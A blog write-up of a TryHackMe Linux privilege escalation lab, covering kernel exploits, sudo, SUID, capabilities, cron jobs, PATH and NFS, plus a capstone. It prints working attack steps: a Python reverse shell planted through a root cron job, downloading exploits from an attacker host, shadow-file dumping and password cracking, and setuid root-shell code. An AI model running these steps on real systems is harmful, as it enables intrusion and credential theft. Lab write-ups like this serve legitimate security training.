Hi everyone, welcome to another TryHackMe write up. In this post, we will take a look at multiple Linux Privilege Escalation Vectors using the room linked below.
Each task teaches you different privilege escalation vectors, and ultimately leading you to the Final Task which is a capstone challenge, where tryhackme incorporated both horizontal (Q1) and vertical (Q2) privilege escalation to put what you’ve learnt in this room to work. Be sure to complete it by yourself first before reading the solution.
Note: Credits for the explanation and content of each Tasks goes to TryHackMe and the creator of the room.
Sections
As this room is rather lengthy, you may want to use the anchor links below to jump around 😉
- Task 1 Introduction
- Task 2 What is Privilege Escalation?
- Task 3 Enumeration
- Task 4 Automated Enumeration Tools
- Task 5 Privilege Escalation: Kernel Exploits
- Task 6 Privilege Escalation: Sudo
- Task 7 Privilege Escalation: SUID
- Task 8 Privilege Escalation: Capabilities
- Task 9 Privilege Escalation: Cron Jobs
- Task 10 Privilege Escalation: PATH
- Task 11 Privilege Escalation: NFS
- Task 12 Capstone Challenge
- Summary and Thoughts
Task 1 Introduction
Privilege escalation is a journey. There are no silver bullets and much depends on the specific configuration of the target system. The kernel version, installed applications, supported programming languages, other users’ passwords are a few key elements that will affect your road to the root shell.
This room was designed to cover the main privilege escalation vectors and give you a better understanding of the process. This new skill will be an essential part of your arsenal whether you are participating in CTFs, taking certification exams, or working as a penetration tester.
Task 2 What is Privilege Escalation?
What does “privilege escalation” mean?
At it’s core, Privilege Escalation usually involves going from a lower permission account to a higher permission one.
More technically, it’s the exploitation of a vulnerability, design flaw, or configuration oversight in an operating system or application to gain unauthorized access to resources that are usually restricted from the users.
Why is it important?
It’s rare when performing a real-world penetration test to be able to gain a foothold (initial access) that gives you direct administrative access. Privilege escalation is crucial because it lets you gain system administrator levels of access, which allows you to perform actions such as:
- Resetting passwords
- Bypassing access controls to compromise protected data
- Editing software configurations
- Enabling persistence
- Changing the privilege of existing (or new) users
- Execute any administrative command
Task 3 Enumeration
Enumeration should always be the first thing one take after gaining an access to a system.
In this section we will talk about a couple of command for manual enumeration.
Note: Man Pages are your best friend;
man {command_name}Note2:
/bin/bashin this task will make your life easier, you could get a more functional and interactive shell with this.
List of command:
Let’s go through a couple of useful command first before we answer some questions.
hostname
uname -a
/proc/version
The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux flavours, making it an essential tool to have in your arsenal.
/proc/version may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is installed./etc/issue
Systems can also be identified by looking at the
/etc/issuefile. This file usually contains some information about the operating system but can easily be customized or changes. While on the subject, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.
ps Command
The
pscommand is an effective way to see the running processes on a Linux system. Typingpson your terminal will show processes for the current shell.The output of the
ps(Process Status) will show the following;
- PID: The process ID (unique to the process)
- TTY: Terminal type used by the user
- Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)
- CMD: The command or executable running (will NOT display any command line parameter)
The “ps” command provides a few useful options.
ps -A: View all running processesps axjf: View process tree (see the tree formation untilps axjfis run below)
ps aux: Theauxoption will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x). Looking at the ps aux command output, we can have a better understanding of the system and potential vulnerabilities.
env
The env command will show environmental variables.
sudo -l
The target system may be configured to allow users to run some (or all) commands with root privileges. The
sudo -lcommand can be used to list all commands your user can run usingsudo.
ls
Ah the good ol.
lscommand :)While looking for potential privilege escalation vectors, please remember to always use the
lscommand with the-laparameter. The example below shows how the “secret.txt” file can easily be missed using thelsorls -lcommands.
id
The id command will provide a general overview of the user’s privilege level and group memberships.
It is worth remembering that the id command can also be used to obtain the same information for another user as seen below.
/etc/passwd
Reading the /etc/passwd file can be an easy way to discover users on the system.
While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.
history
Looking at earlier commands with the history command can give us some idea about the target system and, albeit rarely, have stored information such as passwords or usernames.
ifconfig
The target system may be a pivoting point to another network. The ifconfig command will give us information about the network interfaces of the system. The example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking machine can reach the eth0 interface but can not directly access the two other networks.
This can be confirmed using the ip route command to see which network routes exist.
netstat
Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat command can be used with several different options to gather information on existing connections.
netstat -a: shows all listening ports and established connections.netstat -atornetstat -aucan also be used to list TCP or UDP protocols respectively.netstat -l: list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below)
netstat -s: list network usage statistics by protocol (below) This can also be used with the-tor-uoptions to limit the output to a specific protocol.
netstat -tp: list connections with the service name and PID information.
This can also be used with the -l option to list listening ports (below)
We can see the “PID/Program name” column is empty as this process is owned by another user.
Below is the same command run with root privileges and reveals this information as 2641/nc (netcat)
netstat -i: Shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1”.
The netstat usage you will probably see most often in blog posts, write-ups, and courses is netstat -ano which could be broken down as follows;
-a: Display all sockets-n: Do not resolve names-o: Display timers
find
Note: This command is super handy, so make sure you get familiar with it.
Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.
Below are some useful examples for the “find” command.
Find files:
find . -name flag1.txt: find the file named “flag1.txt” in the current directoryfind /home -name flag1.txt: find the file names “flag1.txt” in the /home directoryfind / -type d -name config: find the directory named config under “/”find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)find / -perm a=x: find executable filesfind /home -user frank: find all files for user “frank” under “/home”find / -mtime 10: find files that were modified in the last 10 daysfind / -atime 10: find files that were accessed in the last 10 dayfind / -cmin -60: find files changed within the last hour (60 minutes)find / -amin -60: find files accesses within the last hour (60 minutes)find / -size 50M: find files with a 50 MB size
This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.
The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output (below).
Folders and files that can be written to or executed from:
find / -writable -type d 2>/dev/null: Find world-writeable foldersfind / -perm -222 -type d 2>/dev/null: Find world-writeable foldersfind / -perm -o w -type d 2>/dev/null: Find world-writeable folders
The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.
find / -perm -o x -type d 2>/dev/null: Find world-executable folders
Find development tools and supported languages:
find / -name perl*find / -name python*find / -name gcc*
Find specific file permissions:
Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it. This allows for an interesting privilege escalation path,we will see in more details on task 6. The example below is given to complete the subject on the “find” command.
find / -perm -u=s -type f 2>/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.
General Linux command
As we are in the Linux realm, familiarity with Linux commands, in general, will be very useful. Please spend some time getting comfortable with commands such as find, locate, grep, cut, sort, etc.
Answer the questions below
Q1. What is the hostname of the target system?
hostname
Q2. What is the Linux kernel version of the target system?
uname -r
Q3. What Linux is this?
lsb_release -a
Q4. What version of the Python language is installed on the system?
python --version
Q5. What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)
Navigate to https://www.exploit-db.com/ and then search for the ubuntu kernal version
CVE-2015-1328Task 4 Automated Enumeration Tools
Several tools can help you save time during the enumeration process. These tools should only be used to save time knowing they may miss some privilege escalation vectors. Below is a list of popular Linux enumeration tools with links to their respective Github repositories.
The target system’s environment will influence the tool you will be able to use. For example, you will not be able to run a tool written in Python if it is not installed on the target system. This is why it would be better to be familiar with a few rather than having a single go-to tool.
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
Task 5 Privilege Escalation: Kernel Exploits
Introduction and notes for this task:
The kernel on Linux systems manages the communication between components such as the memory on the system and applications. This critical function requires the kernel to have specific privileges; thus, a successful exploit will potentially lead to root privileges.
The Kernel exploit methodology is simple;
- Identify the kernel version
- Search and find an exploit code for the kernel version of the target system
- Run the exploit
Although it looks simple, please remember that a failed kernel exploit can lead to a system crash. Make sure this potential outcome is acceptable within the scope of your penetration testing engagement before attempting a kernel exploit.
Answer the questions below
Q1. find and use the appropriate kernel exploit to gain root privileges on the target system.
If you pay attention in task3 we actually have already found the exploit to this task which is CVE-2015-1328 .
Firstly let us log into the victim’s system using the provided SSH credentials.
Then Proceed to the CVE-2015-1328 and copy the exploit.
Open a text editor of your choice on the ATTACKER_MACHINE and paste the code in and save the file with .c extension so the editor know that this code is written in C language.
ATTACKER MACHINE$ nano {file_name}.c
After pasting the file in use CTRL + X and then key in Y to saved and exit the file.
Then compile the file with gcc :
ATTACKER MACHINEgcc {file_name.c} -o {output_file_name}# {file_name.c}, the file you've created previously
# -o, to specify output filename
# {output_file_name}, the compiled code's file name
Start a simple http server with python3 to serve the file, so we can use wget on the VICTIM_MACHINE to download the file.
ATTACKER MACHINE$ python -m http.server 9001 # you can pick any port of your choice which is not in used
VICTIM's MACHINE# we will have write permission in /tmp directory to download the
file.
$ cd tmp# downloading the file from the python server of ATTACKER_MACHINE
$ wget {ATTACKER_IP}:9001/{FILE_NAME}# giving this file executable permission
$ chmod +x {file_name}
Using id and whoami to verify the current login’s privilege.
Next up, proceed to run the exploit.
VICTIM MACHINE$./{file_name}
When you see a shell returned, check privilege with id and whoami :
Finally let’s get the flag1.txt for this task,
instead of checking each directory blindly, we may use find
VICTIM MACHINEfind / -name flag1.txt 2>/dev/null# find, the command
# /, find in all directories
# -name, specify the file name that you're looking for
# 2>/dev/null, redirect all error messages to /dev/null
- It’s located in /home/matt,
VICTIM MACHINE$ cd /home/matt
$ cat flag1.txt
Task 6: Sudo
Introduction and notes for this task:
The sudo command, by default, allows you to run a program with root privileges. Under some conditions, system administrators may need to give regular users some flexibility on their privileges. For example, a junior SOC analyst may need to use Nmap regularly but would not be cleared for full root access. In this situation, the system administrator can allow this user to only run Nmap with root privileges while keeping its regular privilege level throughout the rest of the system.
Any user can check its current situation related to root privileges using the
sudo -lcommand.https://gtfobins.github.io/ is a valuable source that provides information on how any program, on which you may have sudo rights, can be used.
Answer the questions below:
Q1. How many programs can the user “karen” run on the target system with sudo rights?
$ sudo -l
From the results retuned with
sudo -l, we can see that karen may runfind,less, andnanoas sudo without a password.
Q2. What is the content of the flag2.txt file?
You must remember the find command from the previous task yeah?
VICTIM MACHINE$ find / -name flag2.txt 2>/dev/null
$ cat /home/ubuntu/flag2.txt
Q3. How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?
This calls for GTFObins.
GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
Upon landing on the GTFObins github site, you may use the search box to search for nmap
Then clicking on the Sudo tag under the function, it will directly link you the the the function required to elevate your account privilege.
VICTIM_MACHINE$ sudo nmap --interactive
Q4. What is the hash of frank's password?
Passwords hashes are stored in /etc/shadow, and if you remember from Q1, we may use less and nano as Sudoer without Password 😉
$ sudo less /etc/passwd# using less without sudo will result in Permission denied.
# key in :q and hit return button to exit this text editor :)
$ nano /etc/passwd# using nano without sudo will result in Permission denied.
# ctrl + x and hit return button to exit this text editor :)
We have come to the end of this task, make sure you take a break as this room is fairly lengthy.
Task 7: Privilege Escalation: SUID
Introduction and notes for this task:
Much of Linux privilege controls rely on controlling the users and files interactions. This is done with permissions. By now, you know that files can have read, write, and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-user Identification) and SGID (Set-group Identification). These allow files to be executed with the permission level of the file owner or the group owner, respectively.
You will notice these files have an “s” bit set showing their special permission level.
find / -type f -perm -04000 -ls 2>/dev/nullwill list files that have SUID or SGID bits set.
A good practice would be to compare executables on this list with GTFOBins (https://gtfobins.github.io). Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set (you can also use this link for a pre-filtered list https://gtfobins.github.io/#+suid).
The list above shows that nano has the SUID bit set. Unfortunately, GTFObins does not provide us with an easy win. Typical to real-life privilege escalation scenarios, we will need to find intermediate steps that will help us leverage whatever minuscule finding we have.
Answer the questions below:
Q1. Which user shares the name of a great comic book writer?
First things first let’s run the below command in the VICTIM’s MACHINE, to find the files with an “s” bit set.
find / -type f -perm -04000 -ls 2>/dev/null
Then proceed to GTFObins and filter with SUID to cross check with the list above.
Right off the bat we see that we could see that from the filtered list on GTFOBins, the base64 function matches the result above. We could perhaps utilize this to read a file with escalated privileges.
Next up let’s try to read /etc/passwd and /etc/shadow with the one-liner we got from GTFObins.
$ ./base64 "{FILE_TO_READ}" | base64 --decode# ./base64, running the base64 function
# "{FILE_TO_READ}" passing a file into the function for it to be encoded, that's the original function of base64.# | base64 --decode, piping the encoded base64 result back into base64 and decode it.
Q2. What is the password of user2?
Let’s continue where we left off from Q1. and copy both the results of /etc/passwd and /etc/shadow on to the ATTACKER_MACHINE.
#ATTACKER_MACHINE (your local machine or attack box)$ nano passwd.txt# then paste all the content of /etc/password in this text editor and then save and exit with ctrl + x and hit enter$ nano shadow.txt # then paste all the content of /etc/shadow in this text editor and then save and exit with ctrl + x and hit enter
Enter John the Ripper.
After the above is done, please proceed to generate a file with unshadow so we could crack the password hashes with john.
ATTACKER_MACHINE$ unshadow passwd.txt shadow.txt > forJohn
The finale, run john using the forJohn file created by unshadow in the previous step.
ATTACKER MACHINE$ john forJohn# After running this you should see john returned 3 results
Q3. What is the content of the flag3.txt file?
The final question just requires us to find the flag3.txt file and then read it with the base64 function.
VICTIM MACHINE$ find / -name flag3.txt 2>/dev/null$ ./base64 "/home/ubuntu/flag3.txt" | base64 --decode
And that’s how we get the flag for Task7.
Task 8: Privilege Escalation: Capabilities
Introduction and notes for this task:
Another method system administrators can use to increase the privilege level of a process or binary is “Capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user.
The capabilities man page provides detailed information on its usage and options.We can use the
getcaptool to list enabled capabilities.
Answer the questions below:
Q1. Complete the task described above on the target system
getcap -r / 2>/dev/null
Q2. How many binaries have set capabilities?
Q3. What other binary can be used through its capabilities
Answer: View
Q4. What is the content of the flag4.txt file
From GTFObins, we can see that there’s only a handful of binaries we could use to escalate our privileges.
We can use either vim or view to grab the flag.
But, first things first let’s find the flag location.
$ find / -name flag4.txt 2>/dev/null
$ cat /home/ubuntu/flag4.txt
Note: This question do not require you to be a root user to read the flag :)
However, here’re the steps to #GETROOT.
$ ./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'# the one liner above found from GTFObins could be used to exploit the capabilities on VIM.
After a while you’ll see a shell returned, use whoami and id to identify yourself.
We have come to the end of Task 8, keep it up we’re almost there.
Task 9 Privilege Escalation: Cron Jobs
Introduction and notes for this task:
Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.
The idea is quite simple; if there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.
Each user on the system have their crontab file and can run specific tasks whether they are logged in or not. As you can expect, our goal will be to find a cron job set by root and have it run our script, ideally a shell.
Any user can read the file keeping system-wide cron jobs under
/etc/crontabWhile CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly or monthly in penetration test engagements.
Answer the questions below:
Q1. How many cron jobs can you see on the target system?
cat /etc/crontab
From the crontab returned above, we can see that there’re a lot of ways to go about getting a root shell here :)
Firstly, I’m interested in the /tmp/test.py file, let’s go and have a look.
$ cd /tmp
$ lsTo my surprise, the test.py file is nowhere to be found in the /tmp directory. The test.py file was deleted, however the cronjob still exists.
then checking to see if python is available in the VICTIM_MACHINE
$ python3 --version
Cool, we can use python to get a root shell with cronjobs 😉
Now let’s create a simple script on our machine and serve it over with python, which will give us a reverse root shell when the cronjob ran.
Pentestmonkey.net has a list of the reverse shell for you to pick from:
#!/usr/bin/python3
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{YOUR_MACHINE_IP}",{YOUR_MACHINE_PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);# {YOUR_MACHINE_IP}, your attacking machine ip
# {YOUR_MACHINE_PORT}, your attacking machine port
# this python script is from pentestmonkey.net
-------Explanation on what I modify in the script--------# I modify the script for a bit so that the script runs as a
# python script instead of just a terminal one-liner
# simply remove the starting python -c '
# and remove the trailing ' of the whole one liner
Note: please remember to save your script before closing it.
Now let’s start a python server on the ATTACKER_MACHINE, so we could wget the file from the VICTIM_MACHINE.
#ATTACKER MACHINE$ python3 -m http.server 9001
Then open another terminal on ATTACKER_MACHINE, and start a netcat listener
ATTACKER_MACHINE$ nc -lvnp 4444# remember {4444} is the port you set in your script
Then let’s download the script from the ATTACKER_MACHINE with wget .
#VICTIM_MACHINE$ wget {ATTACKER_MACHINE_IP}:{ATTACKER_MACHINE_PORT}/test.py# note this we are in tmp directory now
After downloading the file, we have to make it executable by chmod
VICTIM_MACHINE$ chmod +x test.py
Then it should take just less than 1 min for the netcat listener on the attacker machine to get a connect back from the victim’s machine.
Q2. What is the content of the flag5.txt file?
$ find / -name flag5.txt 2>/dev/null$ cat /home/ubuntu/flag5.txt
Q3. What is Matt’s password?
If you pay attention on Task 7, you will quickly realise that this question is similar.
Steps:
- cat /etc/shadow, /etc/passwd
- write it onto your local machine, onto 2 separate file
- unshadow passwd shadow > forJohn
- john forJohn
Task 10 Privilege Escalation: PATH
Introduction and notes for this task:
If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script. PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. (PATH is the environmental variable were are talking about here, path is the location of a file).
Typically the PATH will look like this:
If we type “thm” to the command line, these are the locations Linux will look in for an executable called thm. The scenario below will give you a better idea of how this can be leveraged to increase our privilege level. As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.
- What folders are located under $PATH
- Does your current user have write privileges for any of these folders?
- Can you modify $PATH?
- Is there a script/application you can start that will be affected by this vulnerability?
Answer the questions below:
Q1. What is the odd folder you have write access for?
$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
Q2. Exploit the $PATH vulnerability to read the content of flag6.txt.
Let’s add /tmp to $PATH, since /tmp is currently no in $PATH yet.
$ export PATH=/tmp:$PATHNow let us verify if /tmp is added to $PATH
$ echo $PATH
Since /tmp is added to $PATH, the path script will also look in the /tmp directory for an executable name “thm”
Then, let’s create the /bin/bash executable named thm. And also giving the file executable rights.
$ echo /bin/bash > thm
$ chmod 777 thm
Finally, let’s navigate to /home/murdoch, where we enumerated in Q1, to which we have the “write” permission.
In this directory you will find 2 files,
- test
- thm.py
thm.py is a broken python script that is missing the “#!” in the first line
That left the test file, which was shown in the hint. Get root with the test script.
$./test
Q3. What is the content of flag6.txt
Let’s locate the flag6.txt.
$ find / -name flag6.txt 2>/dev/null
$ /home/matt/flag6.txt
Task 11 Privilege Escalation: NFS
Introduction and notes for this task:
Privilege escalation vectors are not confined to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g. finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.
Another vector that is more relevant to CTFs and exams is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.
NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.
The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.
Answer the questions below:
Q1. How many mountable shares can you identify on the target system?
#VICTIM_MACHINEcat /etc/exports
Q2. How many shares have the “no_root_squash” option enabled?
#VICTIM_MACHINEcat /etc/exports
Q3. Gain a root shell on the target system
Firstly, let’s enumerate the VICTIM_MACHINE’s mountable share from out ATTACKER_MACHINE with showmount .
#ATTACKER_MACHINE$ showmount -e {VICTIM_MACHINE_IP}
Then let’s create 3 folders so that we can mount them onto the victim’s mountable share.
#ATTACKER_MACHINE$ mkdir backupsLOCAL sharedfolderLOCAL tmpLOCAL
After that it’s time to mount the mountable share to our ATTACKER_MACHINE.
Note: mounting a share requires root privileges.
#ATTACKER_MACHINE$ mount -o rw {vitim_IP}:/{mountable_share_location} {our_local_directory}
Now let’s create a simple #GETROOT script, that sets SUID bits, and will run /bin/bash on the target system.
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}Now open any editor of your choice to copy and paste the code above.
Upon saving the file, proceed to compile the code with gcc
#ATTACKER_MACHINE$ gcc nfs.c -o nfs -w
After that, SET the SUID bit to the “nfs” executable.
#ATTACKER_MACHINE$ sudo chmod +s nfs
Then let’s head back to the VICTIM_MACHINE and see if the file we created is also available there.
VICTIM_MACHINE$ ls -s nfs
By running this executable, it should grant us root privilege.
VICTIM MACHINE$ ./nfs
Q4. What is the content of the flag7.txt file?
VICTIM MACHINE
$ find / -name flag7.txt 2>/dev/null$ cat /home/matt/flag7.txt
There’s the root flag 😄
Task 12 Capstone Challenge
By now you have a fairly good understanding of the main privilege escalation vectors on Linux and this challenge should be fairly easy.
You have gained SSH access to a large scientific facility. Try to elevate your privileges until you are Root.
We designed this room to help you build a thorough methodology for Linux privilege escalation that will be very useful in exams such as OSCP and your penetration testing engagements.
Leave no privilege escalation vector unexplored, privilege escalation is often more an art than a science.
You can access the target machine over your browser or use the SSH credentials below.
- Username: leonard
- Password: Penny123
Now, let’s get ROOT!
Enumeration Phase
First up, enumerate the victim’s machine. Let’s gather as much information as we can manually before we get root.
uname -a
cat /proc/version
env
sudo -l , leonard is not in the sudoer list.
cat /etc/passwd , from this file we can see that missy seems like an interesting user account for us to look into.
cat /etc/shadow , seems like we do not have permission read the shadow file. Let’s move on first until we find a way to read the shadow file.
history , in this history list, we can clearly see the flag2.txt is stored on the rootflag/ directory. But nothing significant here that could help elevate our privileges.
However, it does seem like in order to access rootflag/ directory we somehow need to access missy’s account.
get access to missy’s account > get access to rootflag/ directory > cat rootflag
Let’s take note of this first for now. As from the previous /etc/passwd file, we can see that there’s a missy account. We just need to find a way to read the shadow file, in order for us to crack missy’s password hashes with
john.
find / -writable -type d 2>/dev/null , find writable folders.
find / -perm -222 -type d 2>/dev/null , find writable folders.
find / -perm -u=s -type f 2>/dev/null : To find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.
We can see than base64 seems like a good way for us to read files with as it has the SUID bit set.
getcap -r / 2>/dev/null ,
/etc/crontab , nothing to see here, crontab is totally empty.
Attacking Phase
We have done enumerate enough, now let’s us try to get root.
Answer the questions below:
Q1. What is the content of the flag1.txt file?
In the enumeration phase we did notice that the base64 binary have SUID bit set, which could potentially allow us to read a file with it with escalated privileges.
Let’s visit GTFObins to see how can we utilize base64 with SUID bit to read a file.
VICTIM MACHINE$ ./base64 "{path_to_file}" | base64 --decode
Now let’s open a text editor and save the the pw hashes we got from the shadow file onto our ATTACKER_MACHINE
Then remember to save the /etc/passwd file onto your ATTACKER_MACHINE as well.
Next up, we should use generate a file for john to crack, unshadow will do the trick. Then remember to redirect / save the file into a file name forJohn for convenience.
ATTACKER_MACHINE$ unshadow {shadow_file_name} {passwd_file_name} > forJohn
Then, when the forJohn file is ready, let’s supply it to john to crack missy’s password.
ATTACKER MACHINE$ john forJohn
Let’s try to log in to missy’s account now:
VICTIM MACHINE$ su missy
Password: Password1
Once logged in, we could hop around missy’s directory or we could find to find the flag1.txt file.
VICTIM MACHINE MISSY ACCOUNT$ find / -name flag1.txt 2>/dev/null
Finally, just simply cat out the flag1.txt to get your answer to this question.
Q2. What is the content of the flag2.txt file?
If I remember correctly, from the enumeration phase, we did see in the historyfunction someone did try to access rootflag/ after changing to user missy. Now let us dig further to try to #GETROOT using missy’s account.
Always check sudo -1 to see if the use can run any binaries/function with sudo.
Oh hey, what do you know! missy may run the find binary with sudo and no password is required.
Let’s check if we could exploit this to escalate our privileges in GTFObins.
Bulls eye! We could simply run the command found on GTFObins to get elevated privileges.
VICTIM MACHINE$ sudo find . -exec /bin/sh \; -quit======================== OR ==========================$ sudo find . -exec /bin/bash \; -quit
# both commands works, it's just getting root in a different version of shell
Now simply, navigate to the rootflag/ directory and then cat out the flag2.txt to get to your answer.
Summary
Firstly I would like to thank everyone from following along. This has been a lengthy one, but I sure did learn a ton and I hope you do too.
What I like about this room is the different attacking vectors introduced. Each task is well guided, and the way to solve each tasks is a tad bit different from what was shown and guided, from each task’s examples. This way we get to experiment and explore each privesc vectors by ourselves instead of just blindly following the guide.
And the final task > capstone challenge is a treat which introduce both horizontal (Q1) and vertical privilege escalation (Q2). Be sure to try your best to check it out by yourselves first before checking out any write-ups.
All feedbacks are welcome, and also I would like to connect with like minded people, connect with me on:
